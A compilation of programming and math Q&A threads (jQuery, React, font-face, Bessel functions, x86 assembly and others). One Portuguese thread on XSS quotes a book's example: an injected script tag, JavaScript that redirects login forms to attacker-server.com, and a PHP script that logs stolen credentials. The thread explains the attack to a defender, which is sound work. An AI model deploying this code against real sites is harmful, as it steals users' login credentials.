Simple jQuery Parallax

Question: I need help debugging this jQuery, wherein I manipulate the top margin of an element in a container with a fixed size and overflow set to hidden, so that I can create the parallax effect. The parallax works, but if you scroll down even a single pixel, and then reload the page, it breaks. Can anyone help me fix that issue? Here's the code.
<code>//Parallax for Header
$(window).on("load", function() {
    var startingScrollTop = parseInt($(window).scrollTop());
    console.log(startingScrollTop);
    var startingElementTop = parseInt($headerText.css("margin-top"));
    console.log(startingElementTop);
    $(window).on("scroll", function() {
        var currentScrollTop = parseInt($(window).scrollTop());
        console.log(currentScrollTop);
        if(currentScrollTop > startingScrollTop) {
            var scrollDistance = currentScrollTop - startingScrollTop;
            console.log(scrollDistance);
            var parallaxDistance = scrollDistance / 2;
            console.log(parallaxDistance);
            var newElementMarginTop = startingElementTop + parallaxDistance;
            console.log(newElementMarginTop);
            $headerText.css("margin-top", newElementMarginTop + "px");
        } else if(currentScrollTop <= "0") {
            $headerText.css("margin-top", "0px");
        }
    });
});
</code>
Thank you for the help.
Comment: You need to detect the current position before you run your scroll. Thats why it breaks. You need to add conditions that check where it currently is. Since you are using a Fixed Position, it will move with the scroll bar, but its top position still changes. Unless you check that top position first and then write your if statements of if top > 0 do this followed by your else statement.
Comment: Also a fiddle for this would be really helpful as well.
Comment: I actually think you should just make your ```startingScrollTop = 0```. When you reload a page, the browser automatically scrolls to your last location by default, and causes your start location to reflect that. If you've scrolled all the way down the page, then you won't get any animation at all after you refresh.
Answer: I figured it out, but how can I simplify this?
<code>//Parallax for Header
$(window).on("load", function() {
  var startingScrollTop = 0;
  console.log(startingScrollTop);
  var startingElementTop = parseInt($headerText.css("margin-top"));
  console.log(startingElementTop);
  //Re-use this on scroll
  var currentScrollTop = parseInt($(window).scrollTop());
  console.log(currentScrollTop);
  if(currentScrollTop > startingScrollTop) {
    var scrollDistance = currentScrollTop - startingScrollTop;
    console.log(scrollDistance);
    var parallaxDistance = scrollDistance / 2;
    console.log(parallaxDistance);
    var newElementMarginTop = startingElementTop + parallaxDistance;
    console.log(newElementMarginTop);
    $headerText.css("margin-top", newElementMarginTop + "px");
  } else if(currentScrollTop <= "0") {
    $headerText.css("margin-top", "0px");
  }
  //Put the re-used code here
  $(window).on("scroll", function() {
    var currentScrollTop = parseInt($(window).scrollTop());
    console.log(currentScrollTop);
    if(currentScrollTop > startingScrollTop) {
      var scrollDistance = currentScrollTop - startingScrollTop;
      console.log(scrollDistance);
      var parallaxDistance = scrollDistance / 2;
      console.log(parallaxDistance);
      var newElementMarginTop = startingElementTop + parallaxDistance;
      console.log(newElementMarginTop);
      $headerText.css("margin-top", newElementMarginTop + "px");
    } else if(currentScrollTop <= "0") {
      $headerText.css("margin-top", "0px");
    }
  });
});
</code>
Can I turn the re-used code into a function that I can run on load, scroll, or on any other handler?
Answer: Once again, never mind, I pulled it off:
for all those who desire:
<code>//Parallax for Header
$(window).on("load", function() {
  var startingScrollTop = 0;
  console.log(startingScrollTop);
  var startingElementTop = parseInt($headerText.css("margin-top"));
  console.log(startingElementTop);
  //Re-use this on scroll
  function parallaxify() {
    var currentScrollTop = parseInt($(window).scrollTop());
    console.log(currentScrollTop);
    if(currentScrollTop > startingScrollTop) {
      var scrollDistance = currentScrollTop - startingScrollTop;
      console.log(scrollDistance);
      var parallaxDistance = scrollDistance / 2;
      console.log(parallaxDistance);
      var newElementMarginTop = startingElementTop + parallaxDistance;
      console.log(newElementMarginTop);
      $headerText.css("margin-top", newElementMarginTop + "px");
    } else if(currentScrollTop <= "0") {
      $headerText.css("margin-top", "0px");
    }
  }
  parallaxify();
  $(window).on("scroll", function() {
    //Put the re-used code here
    parallaxify();
  });
});
</code>

Simple jQuery Parallax


Leaflet: how to display a unique marker per map

Question: Normally people want to add multiple markers to a single map. In my case I'm attempting almost the opposite - create two maps from the same content type and using Leaflet assign each a unique marker to each. Try as I might I can't figure out how to do this. Instead, what happens is that both markers are displayed on either map (rather than one per map).
My current setup it like so -
Content type

Has a geofield set to output Lat/ Long coordinates

Page

Two pages based on the above content type (let's call them Page Map A and Page Map B) each have a unique set of coordinates.

View

Individual View block for Page Map A and also for Page Map B. These are set
to output the geofield data

(I originally had one View block and I was hoping that splitting them in two would solve the issue. It didn't.)
Block

In blocks the View for Map A and the View for Map B is set to display only on their respective pages

Both of the Views are ordered by sort date (which might be the source of the problem) and only show 1 item. However, if only one item is set to show then it's always the marker for Page Map B that's displayed. Furthermore, if I increase the display to show 2 or more items then the popup text for both markers will only appear on Page Map B, and there are no popups for Page Map A.
Answer: I would use a contextual filter (Advanced settings column) based on the content NID (node identifier). You will get a settings window where you choose "Provide default value" and Type : Content ID from URL (the nid is always available from URL even if you use an alias). Then, the Leaflet map will be filtered using this NID and you will get only one marker (display all results and remove your sort date) created with coordinates entered for this specific content (page). Finally, you will need only one block with this contextual filter, since it will be automatically modified according to page URL.
Hope this helps.


@font-face: Only using one font-family with different font-weights?

Question: I use the font "Open Sans" for a website I'm working on. Right now I'm using Google Web Fonts to load it but I realized it's not the most reliable way when it randomly began to use the bold 700 version instead of normal 400 (you can check by yourself at http://www.google.com/webfonts/specimen/Open+Sans). Anyways, I would like to change to @font-face and host the font myself, however there's something I don't understand. With Google Web Fonts I'm able to use the same font-family for all the different weights, so I just have this rule to the body element:
font-family:'Open Sans', sans-serif;
and different font-weights on specific elements depending on whether it needs to be light, normal, or bold. But with @font-faces generated by Font Squirrel, it seems you have to specify a different font-family for each different weight, such as 'OpenSansLight', 'OpenSansRegular', etc. Why is that? And is there a way to change that so I don't have to change my whole CSS?
Thank you.
Answer: When we load google fonts via cdn it basically loads all the selected font options (lighter, bolder, extra bold)

As you can see all the font-weight for "source code pro" font is loaded.
When you download a font from google. It gives different files for all selected options. This is may be reduce unwanted fonts being loaded (if google makes a single font, then all font-weight options related to the font have to be put in the single file). This causes bigger file size.
This is why it is good to load the files individually. But instead of loading it under names 'OpenSans Regular', 'OpenSans Bold' for eg. you can use 'Open Sans' and assign different font-weights. (but load respective files on respective font-weights).

<code>@font-face {
  font-family: 'Source Code Pro';
  font-style: normal;
  font-weight: 400;
  src: local('Source Code Pro Font'),
       url('/fonts/sourcepro.woff2') format('woff2'),
       url('/fonts/sourcepro.woff') format('woff'),
       url('/fonts/sourcepro.ttf') format('ttf'),
       url('/fonts/sourcepro.eot') format('eot');
}

@font-face {
  font-family: 'Source Code Pro';
  font-style: normal;
  font-weight: 800;
  src: local('Source Code Pro bold'),
       url('/fonts/source-b.woff2') format('woff2'),
       url('/fonts/source-b.woff') format('woff'),
       url('/fonts/source-b.ttf') format('ttf'),
       url('/fonts/source-b.eot') format('eot');
}</code>


How to create the system of linear equations from these constraints?

Question:
Problem: Suppose a helicopter is currently at the position $(-1,0, 1)$ and
moves in the direction $(1,2,2)$.
a) Find a system of linear equations $Ax = b$, such that its solution set is the set of all points along the plane's tranjectory.
b) Now suppose a second helicopter is at $(0,0,0)$ and travels along the same direction $(1,2,2)$. Let $T$ be the smallest subspace containing this trajectory. Compute a matrix $P \in R^{3×3}$
such that, given a point $x \in R^3$
, the
point in T that is closest to x is equal to P x.

Here's what I have so far:
a) I'll first find a matrix A so that $$A\begin{bmatrix}
1 \\
2 \\
2\\
\end{bmatrix} = 0$$ This will model what it'd be if we started at the origin instead. Just some basic algebra will give us
$$A = \begin{bmatrix}
2 & 1 & -2\\
2 & -1 & 0\\
-4 & 1 & 1
\end{bmatrix}$$
Now we need to shift by our starting point. $$A \left( \begin{bmatrix}
1 \\
2 \\
2\\
\end{bmatrix} + \begin{bmatrix}
-1 \\
0 \\
1\\
\end{bmatrix}\right) = \begin{bmatrix}
-4 \\
-2 \\
5\\
\end{bmatrix}$$
So the answer should be $$\begin{bmatrix}
2 & 1 & -2\\
2 & -1 & 0\\
-4 & 1 & 1
\end{bmatrix}x = \begin{bmatrix}
-4 \\
-2 \\
5\\
\end{bmatrix}$$ right?
Now for part b) I'm totally lost on how to go about doing this.
I think I need to find a projection matrix into subspace T, but I don't even know what T is.
Any ideas for how to go about this?
Answer: Since $T$ is the smallest subspace containing the trajectory from $u = (0,0,0)$ to $v = (1,2,2)$ then $T$ is of course the straight line spanned by the vector $v-u = v$. This is because this subspace has dimension $1$. The only subspace with a smaller dimension is the null subspace (dimension $0$) but this is not the case, because we already know that $T$ contains the vector $v$.
Comment: Sorry, I really don't understand. If I have a point x not in T, then is the the point closest to T from x  = (point in T - x)*x? I'm not really sure what you're trying to say...
Comment: you said that you didn't know what $T$ is, so I was trying to make that clear. After that, you were right about that what you need here is the projection matrix onto the subspace $T$. Does this answer your question?


React and Redux not rendering view

Question: so I am developing a small book keeping application in React+Redux. But, for some reason the view will not render, and I don't know why. The code does not throw up an error either.
Here is the structure of my app.
src
----actions
----components
             ----App.js
----containers
             ----bookList.js
----reducers
             ----book.js
             ----index.js
--index.js

Here are the individual files
index.js/src
import React from 'react';
import ReactDOM from 'react-dom';
import App from './components/App.js';
import {Provider} from 'react-redux';
import {createStore} from 'redux';
import rootReducer from './reducers/index.js';

let store = createStore(rootReducer);

ReactDOM.render(
    <Provider store={store}>
        <App />
    </Provider>,
    document.getElementById('root')
);

/components/App.js
import React from 'react';
import bookList from '../containers/bookList.js';

const App = () => {
  return (

      <bookList />

  )
}

export default App;

/containers/bookList.js
import React, {Component} from 'react';
import {connect} from 'react-redux';

class bookList extends Component {
    renderList() {
        return this.props.books.map(book => {
            return
{book.title}

        });
    }

    render() {
        return (

                {this.renderList()}

        )
    }
}

const mapStateToProps = (state) => {
    return {
        books: state.books
    }
}

export default connect(mapStateToProps)(bookList);

/reducers/index.js
import {combineReducers} from 'redux';
import books from './books.js';

const rootReducer = combineReducers({
    books: books
});

export default rootReducer;

/reducers/book.js
const books = () => {
    return [
        {title: 'JavaScript'},
        {title: 'Harry Potter'},
        {title: 'Some Random Title'}
    ]
}

export default books;

Like I mentioned at the beginning, absolutely no errors being thrown up, and any console.log statements I attempt to execute in the bookList.js file, don't show up.
Its like that file is not being read by the Babel compiler.
However, when I log the bookList function I import from bookList.js into App.js, it prints out a connect function. So, that file is clearly being imported.
Comment: Define "will not render". Are there elements on the page? Or do you mean the store is not being passed to the elements?
Comment: @shennan - It seems like the store is not being passed down to the elements. So the mapStateToProps functions gets the state object and returns the list of books props to the bookList container. However, that doesn't seem to happen, and if console.log(state) from inside mapStateToProps, I don't get any output.
Comment: @ZaidHumayun what is a result when you put console.log(this.props.books) in renderList before return statement?
Comment: @Grajek - Nothing prints out in that case.
Comment: And you have an `HTML` element with the `id` of ***"root"** defined in your `HTML`?
Comment: @Pineda - Yes. If I try to render a random Hello World text, it shows up fine.
Answer: You can check out this: User-Defined Components Must Be Capitalized.
In case the link become invalid:

When an element type starts with a lowercase letter, it refers to a built-in component like  or  and results in a string 'div' or 'span' passed to React.createElement. Types that start with a capital letter like  compile to React.createElement(Foo) and correspond to a component defined or imported in your JavaScript file.
  We recommend naming components with a capital letter. If you do have a component that starts with a lowercase letter, assign it to a capitalized variable before using it in JSX.
Comment: Hey, thanks for this answer. This provides a more detailed explanation to my answer below.
Answer: Okay, I have an answer for you guys, and I think it is absolutely going to blow your mind just like it did mine.
So get this, apparently all I needed to do was change 'bookList' to 'BookList' in any occurrence of the word in the App.js file and the bookList.js file.
I have no idea why it works that way. If somebody could explain that, I would be very thankful. Because this is the first time I've come across code failing because of a difference in naming syntax.

React and Redux not rendering view


Spearman correlation adjusted for Ties formula vs. Pearson product-moment correlation

Question: I am looking for some clarification on whether the formulas listed in the title are equivalent or not, and if so why do the formulas look so different?
For example, in a guide I found on Laerd (my rep is too low to post the link) for Spearman correlation, it states the formula for calculating the Spearman correlation with tied ranks is:

Which is the same formula I use when calculating the Pearson product-moment correlation.
Yet a book I am using as a reference, Introduction to Modern Nonparametric Statistics by James J. Higgins, lists the formula for calculating the Spearman correlation with tied ranks as:

Overall, are these formulas interchangeable? Is there any benefit in using one over the other? Or am I totally missing the point, and they are calculating different values?
Comment: No, they are not equivalent. The Pearson formula makes no allowance for ties. The best link between Spearman and Pearson -- surprisingly often not explained or understood -- is that the (usual) formula for Spearman is just a short-cut formula and that the Spearman correlation is just the Pearson correlation applies to the ranks, so long as ranks are calculated to assign tied ranks their average so that the sum of ranks is preserved.  So they are really the same method, one applied to data and the other their ranks.
Answer: I have discovered that the two formulas are equivalent when the Pearson correlation is applied to the ranks adjusted for ties. The Pearson correlation formula in its current state is not equivalent. However, when you simply switch all the X and Y variables out with their rank equivalent, i.e. in the numerator to:
SUMMATION**(Rx - Rx(mean))(Ry - Ry(mean))**
Where Rx are the ranks applied to X and Ry are the Ranks applied to Y the two formulas become equivalent.
Discovered in p. 155, Introduction to Modern Nonparametric Statistics by James J. Higgins


Student exam probability problem

Question: I have this math problem:

There are 30 questions on an exam. John knows answer to 25 of them.
  When does he have bigger probability of passing the exam:
a) He is asked 3 questions and he must answer at least 2 of them correctly
  b) He is asked 5 questions and he must answer at least 3 of them correctly

My solution would be:
a)
$$P =\frac{\binom{25}2 \binom{5}1+\binom{25}3 }{\binom{30}3}$$
b)
$$P =\frac{\binom{25}3 \binom{5}2+\binom{25}4\binom{5}1 + \binom{25}5}{\binom{30}5}$$
Is it correct approach?
Comment: Not sure this is complete.  What happens if he gets a question he doesn't know the answer to?  Does he automatically get that wrong or is there some probability that he guesses the answer correctly?  Also, the denominator for $b$ ought to be $\binom {30}5$, no?
Answer: The approach is correct, but the denominator of the second answer should be  ${30 \choose 5}$. I guess you know why.
Comment: Oh yes, I copied it from the first fraction and didn´t change it. I already edited the post.

Student exam probability problem


Ataques XSS, como ocorre?

Question: Recentemente um cliente foi vítima de ataques XSS.
Tratamos todos os inputs que encontramos com falhas, porém não consigo entender como foi inserido código JavaScript malicioso nos ficheiros ".js" no servidor.
Como é que alteraram o script via XSS?
Answer: As informações abaixo foram retiradas do livro Hacking: A Próxima Geração.

Injeção de Conteúdo utilizando Cross-Site Scripting (XSS)
Entulhar toda a carga de XSS em uma cadeia de comandos pode ser confuso e complicado. Na maioria das vezes, o atacante terá que executar uma carga complicada para maximizar o impacto do ataque XSS. Em tais situações, o atacante pode usar arquivos externos JavaScript para abrigar as cargas de exploração. Ele faz isso através da injeção de uma instrução script com um atributo src. O atributo src permite que o invasor especifique um arquivo JavaScript externo a ser executado no contexto do domínio que hospeda o aplicativo da Web que é vulnerável a XSS. Quando a injeção de um script com um atributo src em um código XSS é inserida, os atacantes costumam armazenar o arquivo JavaScript externo em um servidor web que eles controlam. Uma injeção típica de um arquivo de script externo usando XSS seria algo parecido com isto:
http://vulnerable-server.com/login.jsp?parameter=">

Quando uma referência a um script externo é injetada, o atacante tem a opção de armazenar toda a carga de código de exploração no arquivo de script externo (neste caso, o arquivo em http://attacker-server.com/payload.js). Neste exemplo, o atacante usa o arquivo JavaScript externo para armazenar o código de exploração que varre os objetos form da página de login e altera form action para que as credenciais do usuário sejam transferidas para o servidor web do atacante. O código a seguir mostra o conteúdo do arquivo JavaScript externo payload.js:
for (i = 0; i < document.forms.length; i++)
{
    var originalaction = document.forms[i].action;
    document.forms[i].action =
      "http://attacker-server.com/cred-thief.php?orig=" + originalaction;
}

Essa carga de código JavaScript enumera todos os objetos FORM, grava o atributo FORM ACTION original e altera o atributo ACTION para apontar para o servidor web do atacante. Quando a vítima envia um formulário utilizando o botão "Entrar" na página de login que é vulnerável a XSS, seu nome de usuário e senha são passados para o arquivo cred-thief.php no servidor web do atacante. Uma vez que servidor web do atacante recebe as credenciais da vítima, ele redireciona a vítima de volta para a página de login original e automaticamente conecta a vítima no aplicativo, mascarando o fato de que o seu nome de usuário e uma senha foram roubados. Veja o código de cred-thief.php:
<?php
// Is the orig parameter present?
if (isset($_GET['orig'])):

    // open the file for storing the stolen creds
    $fp = fopen("StolenCreds.txt", 'a');
    fwrite($fp, $_GET['orig']);

    // Create the initial HTML for the FORM with the
    // original URL for the ACTION
    echo "<form name='redirect' id='redirect'";
    echo " action='" . $_GET['orig'] . "' method='POST'>";

    // Loop through all the POST parameters stolen from the
    // original site and generate the correct form
    // elements and log the value to a text file
    foreach ($_POST as $var => $value) {
        echo "<input type='hidden' name='" . $var ."' value='" . $value ."'>";
        fwrite($fp,"var:".$var."  value:".$value."\r\n");
    }

    //complete the form and autosubmit the form using javascript
    echo "</form>";

else:
    //If orig is missing, redirect to back to the referring site
    header( 'Location: '. $HTTP_REFERER);

endif;

fclose($fp);
?>

As vulnerabilidades XSS em páginas de login podem ser devastadoras. Por exemplo, se um site bancário tem uma exposição XSS em qualquer local do seu domínio, um phisher sofisticado será capaz de usar a vulnerabilidade XSS para tirar vantagem do SSL (incluindo o Extended Validation SSL) e de filtros de phishing. Tais páginas de phishing vão exibir todos os certificados SSL legítimos e são indetectáveis por filtros de phishing, ainda que eles contenham código de phishing. Ao usar um ataque XSS, como o mostrado anteriormente, o potencial phisher pode roubar as credenciais fornecidas para sites bancários, contornando todos os mecanismos atuais de proteção contra phishing.

Espero que este texto esclareça alguns procedimentos. Para mais informações recomendo ler todo o capítulo 2 do livro.
Comment: Primeiro, muito obrigado pelo eu tempo. Pelo que entendi, o hacker explorou uma falha no PHP primeiro, certo? Introduziu no conteúdo gravado na base de dados as tags "
Comment: Me desculpe se houver muitos erros de tradução, não tive muito tempo para faze-la.
Comment: Isso mesmo. Uma hipótese é que o invasor conseguiu acesso ao seu servidor de alguma forma. Você possui serviços de acesso remoto habilitados? Se sim, já deu uma olhada nos logs?
Comment: o único acesso é via ftp, porém mudamos todas as senhas para garantir e restringimos acesso ao servidor ftp a um computador, pelo menos por enquanto. Uma dúvida, seria possível a edição de algum ficheiro via ataque XSS, sem passar pela base de dados? Pergunto porque até onde sei, o javascript é executado na maquina cliente, logo não iria conseguir editar nenhum ficheiro explorando uma falha através da técnica XXS, certo?
Comment: Teoricamente sim. Até onde eu sei não é possível editar através de XSS. Se alguém conseguir fazer isso, vamos ter sérios problemas futuramente...
Comment: Ok, obrigado pelo seu tempo, fiquei esclarecido.
Comment: Fico feliz em poder ajudar.

Ataques XSS, como ocorre?


User Mode to Kernel Mode debugging in GDB

Question: I was debugging a program in which I hit
int 0x80
I know this means a system call and then the kernel executed it. However, GDB does not allow me to look at the instructions run by the kernel while executing this system call. It just executes the system call and takes me to the next instruction.
Is there anyway I can look into the kernel mode code while debugging a user mode program? If not, then what are the over best alternatives available to me?
Comment: I am not sure about switching. But you can use `KGDB` for kernel space debugging.
Comment: did you try debugging as root? As far as I know, we can't do that in GDB, its a matter of security.
Comment: A kernel debugger is probably the only option here. You can do it on Windows for sure.
Comment: Possible duplicate of [Linux kernel live debugging, how it's done and what tools are used?](https://stackoverflow.com/questions/4943857/linux-kernel-live-debugging-how-its-done-and-what-tools-are-used)
Answer:
Is there anyway I can look into the kernel mode code while debugging a user mode program?

No.
(Actually, you could do that if you use UML, but that is likely too complicated for you to set up.)


How to plot in real time with VisPy library?

Question: I wrote a script for modeling the evolution of a pandemic (with graphs and scatter plots).
I tried several libraries to display results in real-time (8 countries x 500 particles):

Matplotlib (not fast enough)
PyQtGraph (better but still not fast enough)
OpenGL (good, but I did not find how to use it in 2D efficiently, using subplots, titles, legends...)
Bokeh (good, but the scatter plots "blink" each time their particles turn color. Code is here if you are interested)

That is why I am turning now to VisPy.
I am using a class Visualizer to display the results, with the method app.Timer().connect to manage the real-time side. Pandemic code is here.
from Pandemic import *
from vispy.plot import Fig
from vispy import app

class Visualizer:
    def __init__(self, world):
        self.fig = Fig()
        self.world = world
        self.traces = {}

        #Scatter plots
        for idx, c in world.countries.items():
            pos_x = idx % self.world.nb_cols
            pos_y = idx // self.world.nb_cols
            subplot = self.fig[pos_y, pos_x]
            data = np.array([c.x_coord, c.y_coord]).reshape(-1,2)
            self.traces[idx] = subplot.plot(data, symbol='o', width=0, face_color=c.p_colors, title='Country {}'.format(idx+1))

    def display(self):
        for idx, c in self.world.countries.items():
            data = np.array([c.x_coord, c.y_coord]).reshape(-1,2)
            self.traces[idx].set_data(data, face_color=c.p_colors)

    def update(self, event):
        self.world.update(quarantine=False)
        self.display()

    def animation(self):
        self.timer = app.Timer()
        self.timer.connect(self.update)
        self.timer.start(0)
        self.start()

    def start(self):
        if (sys.flags.interactive != 1):
            self.status = app.run()

if __name__ == '__main__':
    w = World(move=0.001)
    for i in range(8):
        w.add_country(nb_S=500)
    v = Visualizer(w)
    v.animation()

The scatter plots "blink" each time their particles turn color, as with Bokeh. Am I doing something wrong?
Is there a more efficient way for real-time display, maybe using vispy.gloo or vispy.scene? (It is slower than pyqtgraph.opengl for the moment)
Answer: We can efficiently plot in real time by using vispy.gloo module to leverage the power of GPU. Here is one way of doing it :
1) Build a class that inherits vispy.app.Canvas class.
2) Create an OpenGL Program whose inputs are shaders. This object allows us to link our data to shader variables. Each dot on the canvas depends on these variable values (describing its coordinate, color, etc). For example, it is way harder for displaying text (titles, labels, etc) than with Matplotlib library. Here is a deeper explanation of the process.
3) Set a timer connected to the function we want to call repeatedly (real-time side).
The vispy.scene module, dedicated to the high-level visualization interfaces for scientists, is still experimental. Maybe this is the reason why my first code got some bugs.
Here is my new code.


Returning and printing without assigning to variable?

Question: Just curious if there is a way to both print and return within one function without assigning the output to variable?
Consider this code:
<code>def secret_number(secret_number_range):
    return random.randrange(1, secret_number_range + 1)
</code>
Is there a way to reference that variable stored for the purpose of return statement?
Comment: Maybe by making another function like :
     def print_and_return(value):
           print value
           return value
But anyway, your random.randrange will assign either something into his function, so I don't understand why don't you want to store the output?
Comment: @Raito please, do not attempt to understand for your own sake :). I was just curious whether it was possible.
Answer: I think there is no any direct or "easy" way of doing this. However, one way would be to define a decorator that prints this. For example:
<code>    import random

    def print_return(func):
        def func_wrapper(param):
            rv =   func(param)
            print("Return value: {0}".format(rv))
            return rv
        return func_wrapper

    @print_return
    def secret_number(secret_number_range):
        return random.randrange(1, secret_number_range + 1)

    # with this, this call would result in "Return value: 3" being printed.
    c=secret_number(4)
</code>


How to prove this Bessel equality?

Question: I've got a problem with proving this Bessel's equality:
$$x^2 = 2\sum_{n=1}^{\infty} (2n)^2 J_{2n}(x)$$
The Bessel generating function is $\exp(\frac{x}{2}(t-t^{-1})) = \sum_{n=-\infty}^{\infty}J_{n}(x)t^n$.
I think the solution should is replace $t$ with some other forms and proving the equality by comparing the coefficient,  but I can't find a way out.
Answer: Use the following:
$$
e^{ix\cos t}=\sum_{n=-\infty}^\infty J_n(x)e^{int}
$$
Differentiate both sides twice with reapect to $t$:
$$
-(x^2\sin^2t+ix\cos t)e^{ix\cos t}=-\sum_{n=-\infty}^\infty n^2 J_n(x)e^{int}
$$
taking $t=\dfrac\pi 2$ and combine $n$ with $-n$ terms and using $J_{-n}(x)=(-1)^nJ_n(x)$ we get:
$$
x^2=\sum_{n=1}^\infty n^2 J_n(x)[e^{in\pi/2}+(-1)^ne^{-in\pi/2}]
$$
The expression in the square bracket vanishes for odd $n$ and is $2$ otherwise, so we get:
$$
x^2=2\sum_{n=1}^\infty (2n)^2 J_{2n}(x)
$$
Comment: Thank you for your brilliant answer!
Comment: You may say that the first equality comes from the one mentioned by the OP by replacing $t$ with $e^{it}$.
Comment: Sure - nice comment @Gary

How to prove this Bessel equality?


mov ah,01h int16h, how to use it to change the direction of the snake

Question:
.model small
.data
var db  '@', '$'

delaytime db 10
total db 0
col db 40
row db 12
.stack 100h
.code
delay proc
    mov ah, 00
    int 1Ah
    mov bx, dx

jmp_delay:
    int 1Ah
    sub dx, bx
    cmp dl, delaytime
    jl jmp_delay
    ret

delay endp

lefty proc
dec col
cmp col, 0
jle sn

leftyie:
mov dl , col
mov dh , row
xor bh, bh
mov ah, 02h
int 10h
ret

sn:
mov col, 79
jmp leftyie
lefty endp

righty proc
inc col
cmp col,79
jg zero

rightyie:
mov dl,col
mov dh,row
xor bh, bh
mov ah, 02h
int 10h
ret

zero:
mov col,0
jmp rightyie
righty endp

upy proc
dec row
cmp row, 0
jl upzero

uptie:
mov dl,col
mov dh,row
xor bh, bh
mov ah, 02h
ret

upzero:
mov row,24
jmp uptie

upy endp

downy proc
inc row
cmp row, 24
jg gozero

downty:
mov dl,col
mov dh,row
xor bh, bh
 mov ah, 02h
int 10h
ret

gozero:
mov row,0
jmp downty
downy endp

video proc
mov al, 03h ;set video mode
  mov ah, 00h
  int 10h
  ret
 video endp

start proc
     ;starting coordinates
   mov dh, 12 ;row
   mov dl, 40 ;column
   xor bh, bh
   mov ah, 02h
   int 10h
   ret
start endp

dashclear proc
mov ax, 0600h
mov bh, 07h
xor cx, cx
mov dx, 184fh
int 10h
ret
dashclear endp

getchar proc
mov ah, 00h
int 16h
ret
getchar endp

main  proc
mov ax, @data
mov ds, ax

 call video
 call start
   mov dx, offset var
   mov ah, 09h
       int 21h

 mov cx, 3200h  ;stop cursor blinking
 mov ah, 01h
 int 10h

call start
getinput:

call getchar ;get character

direct_change:
cmp ah, 72
je w
cmp ah, 80
je s
cmp ah, 75
je a
cmp ah, 77
je d

cmp al, 119
je w
cmp al, 115
je s
cmp al, 97
je a
cmp al, 100
je d

cmp al, 119
jne rak
cmp al, 115
jne rak
cmp al, 97
jne rak
cmp al, 100
jne rak

a:
call delay
call dashclear
call lefty
mov dx, offset var
mov ah, 09h
int 21h

jmp a

s:
call delay
call dashclear
call downy
mov dx, offset var
mov ah, 09h
int 21h

jmp s

d:
call delay
call dashclear

call righty
mov dx, offset var
mov ah, 09h
int 21h

jmp d

w:
call delay
call dashclear

call upy
int 10h
mov dx, offset var
mov ah, 09h
int 21h

jmp w

rak:
jmp getinput

main endp
end main

i have this code that moves a single character using w,a,s,d how do i use mov ah,01h int16h so that i can move the character while the character moves on its own if i dont press any key to change its direction.
i was thinking that there should be a timer where when the timer ends amd the user did not press anything the character should keep on going to the direction where the last key was pressed then if the user pressed any the control buttons it should change direction
Comment: Documentation of asm code is crucial. Add some comments along the opcodes!
Answer:
i was thinking that there should be a timer where when the timer ends
  amd the user did not press anything the character should keep on going
  to the direction where the last key was pressed then if the user
  pressed any the control buttons it should change direction

That's is precisely the way to go. Your character would update its position, for example, on every tick of the system timer. If programming for real mode MS DOS on a PC compatible (or emulator), as I assume you are doing, you can just wait until there is an interrupt using the HLT instruction. Don't issue any CLI instruction however, or your program will stuck forever in the HLT instruction.
Do forever
  HLT  ;waits until an interrupt triggers. Usually, every 55ms on IBM PC
  if key pressed
    update direction
  EndIf
  Update character
EndDo

Comment: I never understood `HLT` on x86. Does it wait for *any* IRQ regardless of the source?


Playing a sound from an array returns an error C# - Visual Studio

Question: So I have a Windows Form Application in Visual Studio using C# and I have three arrays:
    System.Media.SoundPlayer[] keyClick = new System.Media.SoundPlayer[4];
    System.Media.SoundPlayer[] spaceClick = new System.Media.SoundPlayer[2];
    System.Media.SoundPlayer[] enterClick = new System.Media.SoundPlayer[1];

which when the program initialises are set to contain certain sound files:
        private void textIn_Enter(object sender, EventArgs e)
    {
        for(int i = 0; i < 4; i++)
        {
            keyClick[i] = new System.Media.SoundPlayer(@"C:\Users\brain\OneDrive\Documents\Visual Studio 2015\Projects\TextAdventure\TextAdventure\Assets\keyClick" + i + ".wav");
        }

        for (int i = 0; i < 2; i++)
        {
            keyClick[i] = new System.Media.SoundPlayer(@"C:\Users\brain\OneDrive\Documents\Visual Studio 2015\Projects\TextAdventure\TextAdventure\Assets\spaceClick" + i + ".wav");
        }

        for (int i = 0; i < 1; i++)
        {
            keyClick[i] = new System.Media.SoundPlayer(@"C:\Users\brain\OneDrive\Documents\Visual Studio 2015\Projects\TextAdventure\TextAdventure\Assets\enterClick" + i + ".wav");
        }
    }

Son now, for instance keyClick contains keyClick1.wav through to keyClick5.wav. When a key is pressed, the program plays an item at a random index from a specific array:
keyClick[randomizer.Next(0, 4)].Play();

So the first one I wrote in which is the one above works fine, however I added a command for the spacebar that plays from the spaceKey array:
spaceClick[randomizer.Next(0, 2)].Play();

However this as well as playing from the enterClick array returns an error:

"An unhandled exception of type 'System.NullReferenceException'
  occurred in TextAdventure.exe
Additional information: Object reference not set to an instance of an
  object."

I have no idea how to fix this, for all I know it should do exactly the same as playing from keyClick however it doesn't. Does anyone know how to fix this?
Answer: The issue is where you are filling the arrays, you are only filling keyClick.
This is your loop for filling spaceClick
for (int i = 0; i < 2; i++)
{
    keyClick[i] = new System.Media.SoundPlayer(@"C:\Users\brain\OneDrive\Documents\Visual Studio 2015\Projects\TextAdventure\TextAdventure\Assets\spaceClick" + i + ".wav");
}

you are setting keyClick[i] thus overwriting the already existing ones from the previous loop. It should be changed to this
for (int i = 0; i < 2; i++)
{
    spaceClick[i] = new System.Media.SoundPlayer(@"C:\Users\brain\OneDrive\Documents\Visual Studio 2015\Projects\TextAdventure\TextAdventure\Assets\spaceClick" + i + ".wav");
}

Your third loop is also falling victim to the same issue, and should be changed accordingly
Comment: Ah thank you so much, I can't believe I missed such an obvious mistake :)


Count dentro de um array com valores de outro array

Question: Gostaria de realizar um count dos valores contidos dentro do array1 com os valores do array nomes, porém ele está me retornando uma saída com os valores estranhos
SCRIPT
array1 = [
'VALUE1',
'VALUE1',
'VALUE2',
'VALUE2',
'VALUE2',
'VALUE3',
'VALUE4',
'VALUE5',
]

nomes = ['VALUE1', 'VALUE2']

for valores in array1:
        for linha in nomes:
                print(valores.count(linha))

OUTPUT

1 0 1 0 0 1 0 1 0 1 0 0 0 0 0 0

OUTPUT DESEJADO

2 3
Answer: Você não precisa de dois for a não ser que vá contar 'manualmente' - sem usar o méotodo .count.
O mais correto é chamar o método  .count do array1, passando cada palavra que deseja contar lá
array1 = [
'VALUE1',
'VALUE1',
'VALUE2',
'VALUE2',
'VALUE2',
'VALUE3',
'VALUE4',
'VALUE5',
]

nomes = ['VALUE1', 'VALUE2']

for linha in nomes:
        print(array1.count(linha))

